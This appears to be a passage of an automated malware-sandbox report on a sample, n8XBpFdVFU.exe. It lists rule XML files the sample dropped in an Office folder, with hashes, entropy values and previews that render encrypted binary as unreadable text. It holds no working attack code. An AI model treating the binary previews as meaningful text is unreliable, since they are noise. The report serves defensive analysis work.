Preview:	<?xml...}.L....`e@&.......O.Y..S.[....]P.].......Kr..O...h B..F...>.......r.,...4.F..?w3..B..t..]M.").?....r.! h..F.\S../.I.....j..;.#..}3.hs.G...<.......f.u......t..#...a...J.......(.....-.......6>%.$Ug.m,S..c...#.#.....<.]p..^.l&G.H$n...O..7....fDrB.'....R...p4?a'r\.....v..A.&0...Jc...G#d..f..iv...==....zl\|i......Cbrs.4.8.E..bqc..Tr...J....q....iv3... .N..O..cB...K$...J].f."W..owN.Y.......Rp..f.-!M.rm...q..g......J.-wb..:&d........7..H'O.y."h...P.....!..T...&C)T....}..}.v.;[........S>......3~..8..m.0...`B.f...\|4.Z.Zzs.,..z...=...7..........,.......3.wgq...@.sy.8..&......GA.n.\...R.c..M....>..B........1.H........:.{,.lw..X..)?!.........s..l......E......u..zFr7.5.-....H...I..ml.0q.{U..._\|......^....\(0.=..... =..cn..V[..s[T.:fE.....W....l.%.b..8_......\..z..\...}XRi...tP.....\|p.c4.w.K......Gp.....f..b.5...N.ZM.%.n..T....5N...r..[......?.t-. .VN~.ex.......H...p..i\|.6.th.NC.0...\W.s...q(..z.....4.....z...J......D......4.Xk....U........7W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.887176166945962
Encrypted:	false
SSDEEP:	48:B4vaFr/DTjuPsx9ZJanHOfaZm5XV/bdWsjT/Dc4D:B0al/DTju0JUIaYvd1jT/R
MD5:	E37840FDECD31296924574E181DAC4F8
SHA1:	459128FC4FA9941D2E3965F8F125AD8E8EBBB142
SHA-256:	BB7B0516B2B4789A580F685128BE55E75C954B309DBF2CF98B7306FDCC945B80
SHA-512:	4168BF02CB248B17E9B161DEE5D02B06CB672997086F0D4A52DC13FADFD0D0D96F1B93E95F3EA01F850E3EB3996E9A0A5F9C13179F7A3C28177D8C9047FBD666
Malicious:	false
Preview:	<?xml#.N.(z.y...8,D.......@.4....A....+rJ_..G..L..&3V?.z...h4.7GSD.cjG..k....Eq........?.../.....M$P..!....%f.B.k.Pe\|..Y13d S...G.\|...3}.A.Y{..{..?...E...8Xxdq&F~.sk.........Yx_...td.FXJ..Y...`_...-..Z......d.>j0QP.h..D`....~Prb...=+H........;.iD.J......1.J..[.......i...Q.#O?..a..sPY.C.(..1CV....N~..p../....M...........g..~.{h...D.........O.0........m..\_.1o:.5..DAO.SY..>..h..S..i.........T. .AX....]s.E.....wG...N<.F.J.u..M..<.C.p.....s._c...m....!;Rg..@.Q[.....sO.#....eL..<..j..R!.~......>.j<..].m..PG.....+....WK..o./.ES5g....S....r.i{..v.....T.......\z....3.l..y...w.9mSQ.>f.7%.3...F?...S....t.w[...M....&.~.K....=*......s8.i......S.1.X.....{......F.'.2.)b.v...X.w....%.6..BU.G2....hy...-.(<.B.l....l.UMt..{..I...2u7....5.T.>..Kw..Z0...,.'o't?-."mLJ\q/.....z.).%....[O...}.;W.b...........O...D.L....:..e...A.......2....B...]..Y.pH.h%5.z....F#.v...gU..xV.BAsjT..C.s..'L.$..]..x.a"0-..;@..28..`.Ru...Y...[>#.y.......];.....;..x1EF.......j.....p.F.Y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.893236459824621
Encrypted:	false
SSDEEP:	48:p3fVUbfOlU8U6iRX2aA/nXqpWGQgijm/FHWO0iADD:p3fJUr60JA/apCjmdWriK
MD5:	8F4EC5FA884471869004013DE6014B19
SHA1:	480AE02F0CD2F8039B7C36B4B5CACB448F2000BC
SHA-256:	AE5D378AE3C1406B49949C9FA99F71D828598FDE46E5745AC654E21CD238D52D
SHA-512:	4EB43EE0BD0169E2E33301B8F7069E83181E400E28BD3EA40BA562AAF5BCE4369E62E99F6CF0E47359E231A485E809666A14A624D385112F0B09B46DD8F36AF1
Malicious:	false
Preview:	<?xml..p/.9v.^.~l.tK.......Em..0...B..X..\...P.!ry..&J...........zG3Z..W.H,.D+&m.\|c(.N5.W.!+..Z..9:/...$......{....#3!.7D...t. .o.?..R...<u.0A...r)..I..@...D..t...\|P..........".._u.A/. ......x."l:p..3.....$.'.Eq@c..w1..._..R.....F...J.....M\d....vl...{.p..M9.mC...D..@...D8...X............'.:z#-.Y.V...W..f...>...n26.P.p.d..U.q.u..6COF4jO...4.=...,Q.X^..h.........:....\|B..UF.I.o.E.T1.9-j.K6.!......Y....`.h\|..T.<.."....}...........gd...E..^..t.8.w5.D.t...#;.;.._.@..%.P......2....C.R._e...Fn0...ikR........n..{L`P.......{...a:.z..w.."D....B...%...P..t.'.-<2.A.g.^..>...u...\......O.^...}w.Ti..).iW. .b9..\.p.=......0....J.3:&.1....N.....U.. "+......Ee..?W%./L..puhXO..&.;xa.....F.R.T.3pZ......W..\q.B,#p"....1...k...2.X2_.r%......z,..U......C.R.Y.7DQ.~.q...Li7 .f........`j....s..<.9S!u.Bc..lV.......~.5k....N....5........q...%..........&g.......Wl.w.(.3Y.....3_..[`!..V.r..?.T..q.bd....*..2.5!c5....B}...8..Cq{..F.?.y.g......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.868659381257526
Encrypted:	false
SSDEEP:	48:N+DfujTVgfI4uX9e+Ql9sEKvpDSq/jAGLYjBS8D:Yun2SXIEvFZQ7
MD5:	2658ACCC689CB6C8565405E7981C50C2
SHA1:	9C66B6756FADE58DFA4F10C71E1AE1F78150A2E8
SHA-256:	2DB96AED0DFC1D78BC403DFFF6BA8DCC88B4B328B370E158DE86F99C13277A08
SHA-512:	CFED2882445081843AD5C2412CDBC9B5C2C64719A30EB3AA14DED0034722312B110CCFF2E86B4C12270CF7FA47270EB43CBD4A5E0D91A8E0274634C2114D7508
Malicious:	false
Preview:	<?xml...r.t.0.......IYq\|..CN1..,..?......h-..=k. .q..t...@.AW0./..X.b..[[...-gf+.....8..S.....i./...$.7.g1.... ...&p...4....g.!..C.h..K.,..N.....a.;...e....\|...'.a.E...S....Mh.6}5A........U.Y.P..5.,.#...[.\k.`+.).......\....Sb......0.....S......e..W.......=_~.....d..aa.........zE/..~D.....au2./.Ax./. .ks....p..._...4..-.!.5.6.k.k.e..<4L..k...!.......X(........>...\.J...^Pqw.h.&..G...`.[Of....Sqd.X.d.6LJ.x.+8L.R.....P...J...>.v...C`\|..y.D[/..\|...Q..)PYg.YJ.#...;.....0....J.....4...Rj{y....C')......nc..#M.i.....M.W....(1%......'.z...A??...&qLe.^\..8.5.#7.f...B/.[...q.u.p....s..M_$.#>....<.R..v.8J...].(..c.s..~)R}....E.._..g=v.(....G._J@..).(..3q..._....@~H-....s{.c.4.%-.+....k(.....0.......?}B[..TN...n.u....K..t.@!.~}y..gj.....k....kh.F.h.AM...5....&....s.0Q.....K.k.p.wC./'...8..2.?\...rs......Z<....t'.I...#..d..$...6jp.8.p....[...5H0...,..".......,..OuF.6V.L.....\.t...f..jB....b..p..C..UWkp......jv.-.EZ.'^....y..(.N<...[....'..S.QY...dy3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.885127360477695
Encrypted:	false
SSDEEP:	24:RY9b/Xz11b/GwJbOqYX0/j/pP4zCyYWB/Wjbsj4xi6mky03GV/vC69rZbD8CYr3d:RA11b5154o4/WXtK03mq63IXj6F0kGXD
MD5:	16A332A8A234BBE542A68408D766B13B
SHA1:	906B842AAB544377C63BB5716198AA3ED0014D31
SHA-256:	00852DCE63C863C827B256553567641EDEDB6BE6A559A7D7451D0FAE658279DE
SHA-512:	DA5F80E822839AA07A15A4DF646838FD3D05C0800C2F4BFFE9F00D16540A6250954B1289C07EAC7D885044F3D289B2ABC971F7101001AA03E8F61F0FEC5539A6
Malicious:	false
Preview:	<?xmlK.3.....-.....kU....B..p>R...!.......u....WS8..r..R.'..z..X.5j0..:.......r&.-)...3n....l.\.....b.r...49.....%.T6.m^oYPS.=~...f....N.....D#R.C.4U.}T.p..O/."..P...$..$......Q.&z......x.3..;B...XQ..r.......3........n&..T].......S...:X..c.......w...f....m'.VW%..4m.XY.,..m.,a....B.KB..j#.D....#nmP....hI}.E.o.:..X3k.o.....h...{]9u..IM.\.....>.-......F...A...7.Q..&.A8..z....7.......E2.gbRe.T.K...@.....9)..{.x....f'.7..z9j)..n.]_)....F.DQ6f.X.WRmc.H.t.....6\|.{..uO.5o...E....Na(..M....f.d..4T.i{.j..!......Xn7e#+%...-Q.Z.v...<..B....Tb.M...(c....).(.......V.....n..%....+RL.y....@@... ..Ig...`.e...<.B\..bg.....<..,.i....u...f...i.....:Pc!..#. .]....Y$...K~..L..Ip;u..Rh........~O..w.=n..4.....b...{...F..1.A.G..0....M.U...!..._nS*.%+..-..CCp?.F`.3...z6....m.,...>+\......3.].[...L}..C.7..9".......i..4.er.._..^S-..4.....F....9...W.^....2.^...../`.I...>].S.C.v.=....L.8..`JQ.`%..?.w.i...!@..$k"1"..+.:...p.~......F..[>...fBN....1N0.g........ .J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.900410077126531
Encrypted:	false
SSDEEP:	24:wf0Ltpxss3m4W+dKuVYUWBC7VmkVJH36fLQ7+TTs0ql3OjM1hVF1DbD:pDamdza+mkVJN8Ts3MghVfD
MD5:	12B4FFE6388030876A1B6AF7F5D489CD
SHA1:	3A41451C7A6F018D6DFE89FD399563F5C6FE3DCB
SHA-256:	F0E262EF495409718086DA06E2E21C16A8EE0BF59C65F63C94A6BD50C185DCB1
SHA-512:	7CE17D2D397D13E0735E5B54CEEF4413FB1FDB8813B01B4564639A7BAFDC4E97E81752C8A107C9A3B8B9ACE59A05BAD08F7F5E8347CC37F9F0B6AC0BD749DCFF
Malicious:	false
Preview:	<?xml......8.1.v...mkD=...21}.o,...fU .LP..1M..{{X\~g.gNi..Er._7..6.Y..(...Fg=..<...F'\|c...."...;k..l......`......;Y...#.1F...`.@Y..U.a$.....Z.N..AQc..8.(.pDO.t4X...q.9.Bj....\..r.f....]T.....9.8.9..=.J..<..G.k....'......<..h......<....'/.=...`..I.A.i....r..m.q..$.[B.. ....`.4o5..g$. .V..k...p.. ...jy..D......ED.z..x.Y..2...eS..r..E...H9c..J.S..z.,..;8^.....9KSX.B.']...dW6y....3.Z\|...7.U.j..._.).x......._VTu..#..(d.Y......6../......X....i.JZg.gx.]......<......a....$..N....~...@..1.......v.............N.[...y}..e..;G.$B....4.>......n>Pm!.c.......ml.r=k.I.8.F.!..^G......EW.Kq....."{.&.....(..6..^..r.^......LN...bT(&..4..{'..^......9.a.]..7..Q.}.k.@..../...i..w6-.+a.&e/...R.....5.............l....!...Z3tv...7.5..fd..@GX4.wu....Lj..\.'1...2...c..=./..f......^`F#..rk.;TGJ.P.R.E...#^d..w>.........r....w..`I ...NJ/L..O...O.1....fg..G..T/.. ..-.M.I.4._}.H.d.#.."".E.M..'...~:#T.....5^....v.....v...x....?.. ......V.?..?.\0..J..9o5....r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.8764477895307925
Encrypted:	false
SSDEEP:	48:Qq5FBeIBlR1YHdRAdnK6lpB0ByXkrkA81sUGADJCXOdM00VZD:QqbBeIBHSdSdK6yByUrH8iUpDJCedMRr
MD5:	9047C0BE71BD2CFA4070F1ED3DE36C2F
SHA1:	3865B2EA5EE07DC5BE2475207975A06D1D86A73E
SHA-256:	E9F92091EF18A260DEAEE92C1D325BC05B7B93D5305F5EFE1ADF8914861BC282
SHA-512:	80D87DF8AA76D23B0D00E155EC4487BCCC83BE74B669EBE2BC80C433ACACE3361D5AF136DA77C51D2B42A79AAE3A68660DFDDDA795525DFEB078EB05683058EB
Malicious:	false
Preview:	<?xmlm.P.... :.%P..xQ+.$pW(q7.@-...$...<,...<...... ....Q.......e.La{K..K.1...W....B8h.R6..h.q7....o.P.f$.3........X...Tg...=.)AB..YQ..h.r..i.......8.'......au....[t...+C.j.?.;$y.qiF0X.?A.Q.I..zV..Tn...=].H.t.._..o...A.............h.[K.....y....'].......K...........J1.].......N.....;P...B...P.>'..-....Z.<.n..y........^.u.S...a)....PI.....Q.r.nv.p.s..86.......b&..I..j....0M.~.6.'...w.Ev...\......R.>YC..~\...-z......&..y..h....i..).W.<r....o...1.q.....h.......,;U......\|.Ri.-x..H..+...;~fT.."=..Hg>.!.QX..c....#.w.E..OMr...V.,..._..f....9..y{s.e.S.4...$....d.l..i.T.l7.R.K..0\|W..(.J...k.9.l..hb..k.k'.B...<Td......K0&Sm..be...41.....6%..4!.;qbg-...}6...F...8... ....o.X..I...>F..3.{tc...V..o.b....\|Jg&f..C_.'.HPm.KL..%....).fT...'.....Z.....GD~2..#.!.....i.!.?Yh.$z..Mr..Xv..>R.......$..+.d...V...<2.$&..'6sqc-....v...w.%;.C^.5C...R.#..\|IE.Rq...a..0F....f.X..vu.<.*..f+G.._.J.S@....._.7u.N.5_.e.P..3.7.#O3Vz....\|..~.....n...yn..9.v....p..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.891416987216398
Encrypted:	false
SSDEEP:	48:SmkxfHKhFIh2qIohK5ImpAnhVuqQ160+ZnWVxXD:SmqfqH+IohKbp4Q160HxT
MD5:	DDE6D7180BB013AA1B70E171A25CFE14
SHA1:	80DE14DA5477D4719B269FB70BCC6DAB9957F3C6
SHA-256:	E13A5E12586B1AA012AD1AFA3A4E2AECEB93654EE45195517D262C1D7AFF758B
SHA-512:	6154F442B4022BC011D28A820AE50369A2A583B495244BD2C2C09B67324D4C6BD7520470822E647E6B2BA5AD4504BC3156D224B29C4CEC8B63212FCA12E893B6
Malicious:	false
Preview:	<?xmlh.....7.....$...H..!..........M..N....,...n]..[h.>..1.P<>.......8......./vf.H.&S<uen.....]u......4A...x.i.S.KK}ej.....-B.Y.,./....w....k."}.Sx.=.U..+O...!...%u.MY.U/(Z..,....n.k{g....\x..XG.9_.we..iQ.e.....f\|.\|...m.d'("jZ...Yg.........]..Bn...;.ag.dB..Pl.?k...]..8....-.H<...J.yp.p..;...c_.1..^.....3..Zt6.i.....!ka.0.V.#DD;..k..3L.v.J\|.)N.S\v.A.8..7G.5.)..A...U..A.D.%,......].=H..Y`W\|5..j.3&P.s=!..Sv-...DU..F.p.+.L...i3H..h./...~..t..B6.n)t9t......:+d...u..Uk~M..>~dE.#..x...=?$"'.@..C..+....v5..u.+.l.H5.L...(.Q..D...D%J.:.G...{6....0...."...%va..jD.g..x.l..6....#....k.{.M..f..{I...n..4...~....`5)..%..<./tc{q.uZu..`....!....p..v..&..aLynL..1../....SO.ru...#.#o..0z.g.......j...ep."..g..I.....c..[V......bq..........?&.#Ol.....\..M..ja.N7..f.......i.3.6....(....0E-"..C.'.....z.&....}w.5.9d.jJ6.k...'(.C......nu...W(~ P+.....{3...G6.CY.......!$P...~.e.Dw..dvPs..G....)p%h...O..E.-.t..A6.........5.>.S~..g....O.S8m...Fj7.{\DB..k..I.sT.1.L#3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.8768624454230505
Encrypted:	false
SSDEEP:	48:7HbMqtsXQ1vBtp1LzHJf5hzPHNMuZMoqmQjbXbB3bIbz6VaD:7IMQQ9BT1LDJrV8mQfdrm6Vy
MD5:	CE5B572E00DF5AA9F69481169BD03151
SHA1:	F5112D9122FE9EFD1D110F1AA650E49131CA5ED1
SHA-256:	1E4E29CF856F858CEB133C4DC9F40C79BB8D2C7929A8D28E17E5CA8017619CC1
SHA-512:	E4E87287A92B9985FAA9BA3D8D8C7085CB29394890C2568EC2C0B34F52178368154DD859179BAE8B900CAD2D63B416CAFDFF9B18A34AFF397B7B30086B34FBE6
Malicious:	false
Preview:	<?xml.p..s>y... ..)R>.x.;.......>`.K..."n.......A.\.#.....^.<]...7.n^..^.tf.....w.......WN..].....K..w...JA........1......8).;.1l.t..i.0..xs..M..a-6tAQ....b..CW...U<...h.[.k..&.!q......3..Wj?%=/...........>.>b...R..f ..l..X3..3..]....{\.......g<.^.?.Ki..}'.......?.})\|^C.,..$.3.\../l^.)...2.i..N...I_....z..O...@D...T.i.f.P.kTH..S....}:d\|=..:w"..S .....^.X.a....m.f.....+.'..#.....1.Fd. ..vH...u.\|.K...>..Wr....p,.t.....L...@.,.6...u...LT....JZ..f\..9...g.&....n.l.M8-Pz%@:..<.f^.:..<....S..Z...z.\|.;"3.W..E.c....$..%........@x.......S]pl.']-.K..;...\Ws.93.6.K...m4.).......(....+..TZ..O.a .]..4{.:....<..m.ga?....+ p..<p...Aj].".;..c....HL............F....$.~.&.d....G...<......A...$UN.t.UrJ..{...HF.EJ.YS-.p...>...o......N'..Ef...9.B.h....DL...N.......&........G...V.vI......ZW4id Y..1.T7O]&..YK....^.."..=.K.W8.-H....z\K...Yb..i.....A..z...h......[........%.U.@N.h..f...-G,.h.n..........qL..<\...I>(w.C.o.o..$....b.D....W....b....b....x..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.892999579080564
Encrypted:	false
SSDEEP:	48:AYmLOsBU7HT3dmaUs1iERdtYE89IAtZ3/6yD:FmdBaz3NUUfiT9IqZ3ya
MD5:	E498E0B00C6C5C6CC4F3866D10C03FA1
SHA1:	C27F8E91EF3F32C77C566A23590D3F93929095C4
SHA-256:	85B8E576C8BF27E03F54BC251D93A08D8D25DAE5232EF3F0371C5FE53DCE8387
SHA-512:	EC43F2C891591B15263D5068159E48C9B30A8B9101D9E2EEC6862DD00B0C6D7C00891AFFEFCB9F07C61975AB19A8AB31D51FFA153AB84D65ECD9903463862E83
Malicious:	false
Preview:	<?xml}...XX.!u.Y5p....P.M.>.K/U2...A..W...]3zr'.Bd..IPJ...q....z.'Z..pf.u.@...Wz.p ..k.1).Sk.<L'..7V..x...~...6j.R1-.........../=...".4.!gy...DS.6.k&.<.%.=.......`...k1m\.%...u.J$.$I...........0x>....P\|..s.N.,.j......Z...e_....v't.....s.M#......W.$...?....O..8.W[.......H....sPDgN`\|.E(.b.J._...^....t.,`=2..5..'.T.i....,S..._...=...._b...e...}.......w..r...T.^..x.oN.w...p!t.....75.n%X....?..f...!.`.Q....z..?...N.Q.!.h.Z..O.u.V.l.^O....r{..J.qO.2.<}BG..RH:..^..V.K.K.b.Z.x.MV~..-.k..TGt..Q.}.r;./.&.y.z....~o....._#......F.....eX...?!.A.bV...,....n........X3]..P.O\|^.....i..KW.2}..y....,..z...Jv(..tP.#A....3....F..A~..I.f..W....y..mME.....VAP..k.!....+...qT..9C....!.P.....=.....nJ...[../.t.O...:/..K..Y`.Ml.q... .../x@.h...j.B,X.8.m..#.T.\.)..f./..`.....>....i....2.....Jd3. .q'...<..3T...{......71_......a.$_..b.x.w.f.d.i.WN......,y.+=..b...d.@....w....M.m.VSR......7C.;.?;^j.C...@5.R..E*.F..G..N.5.f.&.rO....0....@.,~.W8..`...+S...w#8_.+qk..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.884248547687913
Encrypted:	false
SSDEEP:	48:wcukbplltr4Uf6cWQc/Z1kcxiigxqmTwsemD:wcukbrVx5MGcxiqewse+
MD5:	1D425583286F5BE6CE11C39262D5BD2B
SHA1:	A304FD47FABEA16C05AC889AF7B8F01CD7482905
SHA-256:	358D6AB4C72A66A97115E24E3BFAD5298E062E55C79D1F3915ADBCF93FE81F00
SHA-512:	9CA843070F023DF323D20BA8B914DC230DB495E2E09321B3C3936102018C1E80E1E5D5302454BF601698ADC478E55846F9495CE3C81D0851940352BBF79E03CD
Malicious:	false
Preview:	<?xmlM....,L.K.G.!1Y..d.&H?,u..Q..-..&xg....K.H...y...O..CT.\|.u..P.}.D....`d.. Y..6.hH)......z#.].Cz...r.%$.92.k...+..>......F...F.......M....V....4...m..=......gM..o%.Q!.........!......{T..."Uu.Pw.@...}....7.X!g..z...Qo...q.)..4..k.U....T.G.ZcH..@..].g.Q..A....~...t.z.....IX.........4..MW....5....I... ..9..5.a.8S.C......2I.,.....V(...t..e.'.[f...roU.../j.uQm9..x..E.YR.Y.{bY.m.qf....R1.O(F...S8.Qy..E,.\.U..hZ,{...q...)...p.....o....Ta..X^VY.2S.N=+.[!...0..'..(~.....0\......2;.6b. 9.v..=..T......\|}ofQ.....~X...3.....+...@...At....yViI\o\|..x.8F^. ..t.X(n.-&L=...n+.u..h.......c...%>...Rg.2aVD....Qmo..~,.....D.<9.,.'$)bl..\..(...=...%...#..c#....E)Z... U)..A..}.....A.....,?.+.nI!...C..5.....rP.5Y..,;D...s...e.e..O.!.H...R.t..".O........9vo........eM....}.&...k[..yC.1}p.......k.'m..\..C.B..l..~.{.D.1..{R.0.0....i...p..9._.3...g..(..>...N.e..+mc..I..sT..>V0..TZ..{.+X.9..d(....)WQ...._UjP...;>kc)qU0........S"..:..Wt...4hd.H..1..`b.s.lM.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.884748160102515
Encrypted:	false
SSDEEP:	48:gDwcCAjqtFVxnFpK8ce+aDLEQHmJki9Vb6yjpf7qFsAnhD:vJzFz+InHmmi9VbX1msG
MD5:	0B5FB150BB718C09FE78F19A46B7096A
SHA1:	6D22B45157EB3C28B9AB3EE84EB57C3C1C366637
SHA-256:	327217C022834BBFD18A1C7BA48993704EED4DF2B22BE4FB5BB0100D5996E33D
SHA-512:	800721CFD83EEA24508289512F3F88C570787BA6A5596395B6B79DC5C886400A7259929E1F92E8CD673ACF5F131CF484590E99E4865DFAE3355114370CB533D2
Malicious:	false
Preview:	<?xml...[~...,F.!o{..AxB.;..#[..C..}..B....@kR...)&.].i..1. TH......].[....f{....;u....j..;.V....z7.....q\.Xo=..<w...l....I.pT.!.+..5..{..B...H...~).%.?. .X,.{o...a..t.B.u.v^>%...Q.Y..^.......`..fC..&.D+......f..I#....l~_1....)A....Y.V.h$LfUw..Z.....!.IJ.}Et.Z.nv.D...d....U..GTS.......Kh\..c.....D.vR......A..1.CC..._...8..gh~+...(.'q..w..>..........f.I....y......,e..?....f\...Z.)...n...<?x..i&UzN.b0..@.,../..y.Hn.....r....o.F.Ak3.c.4.q.....7-r..!.joG..pd'...T..SX9.K............`r..v..........6....(c...@.......S...1?...\|...L.V;....V.......v.hb.U.8...X.\'.CWL..e.......f[\..ue..8.^.....s@..3.B...$..W.P/M."deDxu-}.)..{.P...S........"lt...q.N...F.gz...9......,u.HE.J.y.....B.x/........7..X2.....z.KRe.....}v.d3{......8.Q.T..j..74...[xK...8.`[...A....P.%.. z....u.UQ.D...y...D.v.9...KC......RH..=4.Oi.I{.E>..O.^.m.g._. ..oa....yq......}.....m7..6.?...iUUJs...d...K.B.......!#........<'`b......tv]....4n.....".r..!.}{.UV8.T...\|..U......v)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.871863159364783
Encrypted:	false
SSDEEP:	48:ykTvLHGCUp5osNwztrzhWfOH4afqdVq9gxq47KqdvD:ykPHGDoBzB8fdVq347Kqd7
MD5:	58481174363D31001B6B897098E3BEEE
SHA1:	2909C24366512E483D16F988C63FB562BFDA2808
SHA-256:	DDD421D5D653F344CCBE35212989B547970FCB46B1D038FF8AF9DE2678CE6069
SHA-512:	6390D34A7204F22558067ADC1CFC4F99F359C75F660EB93DE42C1C5540CDBAAD6D9F8A836B8BAF90C7BF7EFD3CBB09BF5BC90B32D4DA4777A306F89F2AA1ED3F
Malicious:	false
Preview:	<?xmlH.\|.`......o.sN(..x.i.x.t..C......v.V(s....pj.UC........1..........,R..XPy...1...Q..S...............3LS.....R..\|...\|..ZD8.@...y9..\.m.."..].n........5i.....].t.....H.....dH.gF..zG...7...8S.-.o~...........rQ).....$;\/.k../...O.[cu...Vw3Q[).....Q..l..Y......u....4j\Z@){0.U.....)..?].~y.9}Q?.I..%?..$...K....L..G[...P.F...z...{PW.$ va.t>JQ..I..h=,o.........x.o.H....u.....h.'N8LY..m.h1.-..i4Q\|........X.MUC3.....7....\.->...w..i&.<..k~..E...fy....k[KP.m.<.4.m.x..b...Fc".26..f...S.KI....Z....h..Km....dF.9.R.b......r]..$#.0......]...c.q8..............".B#H..u....!a.;..Z{.eC.'..?..P.w .}Z._...RT..mk[&..<.?4.....>.&.x...F.0....T6..@.._..]m#.._w`.$\|.'.c4R.h1(.XC..R.)....u.s......-..S.?Cm...q9.~....7UR.. .&..YW......qdS-......s0.y........6..6.1&2i..Q$7f.T.........=j^tT.....p`...6...'.......:.....DJ]N.T.-.VX.]Afr....>.r.J..2.4.SC.....uq.0..H....j.a)?......huC.U.~W.1....j..S..6.x A.Q..&...#\.}X..q5.f.3J.N..F+.....=..\....m9.:..I.QK

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.885507596390061
Encrypted:	false
SSDEEP:	24:3BOTQAMkHS9IaRyiXY6S8SP8oIlNqfjgNBH2iHJRUJrZILFJmE4oUjIeSrc7osbD:cTQgWqnUolApmZILPmESj/Ac7omD
MD5:	0D276CAFD666C18DE32FC12C8DC45467
SHA1:	46E39A09F88B62ED9CB1C2758D33AF1167AFB251
SHA-256:	E948F3B357F285D31E585AB6B89BB61681017344682C7ABF744375D006434ACE
SHA-512:	AE7861D454644DCF30BFCD251611493094BEA28C0D6DC6792CD0D976469035B94EFFCA9E7D343643E8E808179DE678E34B648CE641B18735B0EC140D540F78DF
Malicious:	false
Preview:	<?xml..A..pQ..\...E......o........F....'-0.._C>.%........Wy.....b.T.DjT..I..........y..!pN!.Z..?....W<....b?.p.....-.....q.....j.!B.c..G.!...E..#O..3.<.t<>....7.......V.+0.}_......#.ty...8&.7.U......P.m....}@......~.6jl...^....A..Y=.....u.=.v.14j.KL...Zxv".....6teO..a....> ....y..i.H.../.C.@q...i..W..{!...))....M...)...K..@.>A-..aY.....EF:.....B......:.F....Y..>."Y.N=T.......m..N..h.8.X.UU....^.q...V.}.Wv..`/#.Oy...U.8.^.Z..n....-.l..s..:hy.........Vp.d..G..%.,\|L.......E...=..t.bt..H_....f.m.....5mZX.n...j...n........Nm..K..,l....C.c.-9...x......Z.8......`p5".q...dV.L...E!.c.RI.=.x\|>......1..O.9...J~#u..^...kp$......A.?..i7....N.R..}.H.N.. v.7.Dq..f...h..U..+..C:.l...Pp2.....{Qv...,.xC...rr.F..a.^...t....{.E.R...bq.z#)JN:.#\|...R.T..i...*@.,W....%. g\.../TX.H...x.r..-.Y......C.....;7@e .(a.'....)h..oS.+.dq....#...<........Z.R).Y......#.......ps....BC!Mc....=..M...../...~.Y..]],.b.....^..>..{.v.FR......@.(..). &....0s..M.t.>....N....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.873788280424094
Encrypted:	false
SSDEEP:	48:HiZHF6FSBZ0z/pycEACupLecS8jCcx52DD3D:SwMLACuLS6CQ52DDz
MD5:	2513B6A1A44FCCAE9ABEB464B3516214
SHA1:	9B9A787EFF159EBB9201BC54DD77B7E6225C46F2
SHA-256:	CF1E584CE04EB5DE86991E119A6BF77AEE7303F721B3F3DF38E62B438FCA2C43
SHA-512:	48E5FBF4F676C4ACC9C27812DA87865B95095968C0FE1A32D118F1B7AC3D88817F5EF36D8475AD494516CFF78FC51F514307F052AE3AA3CDEB558F8F4FEC4878
Malicious:	false
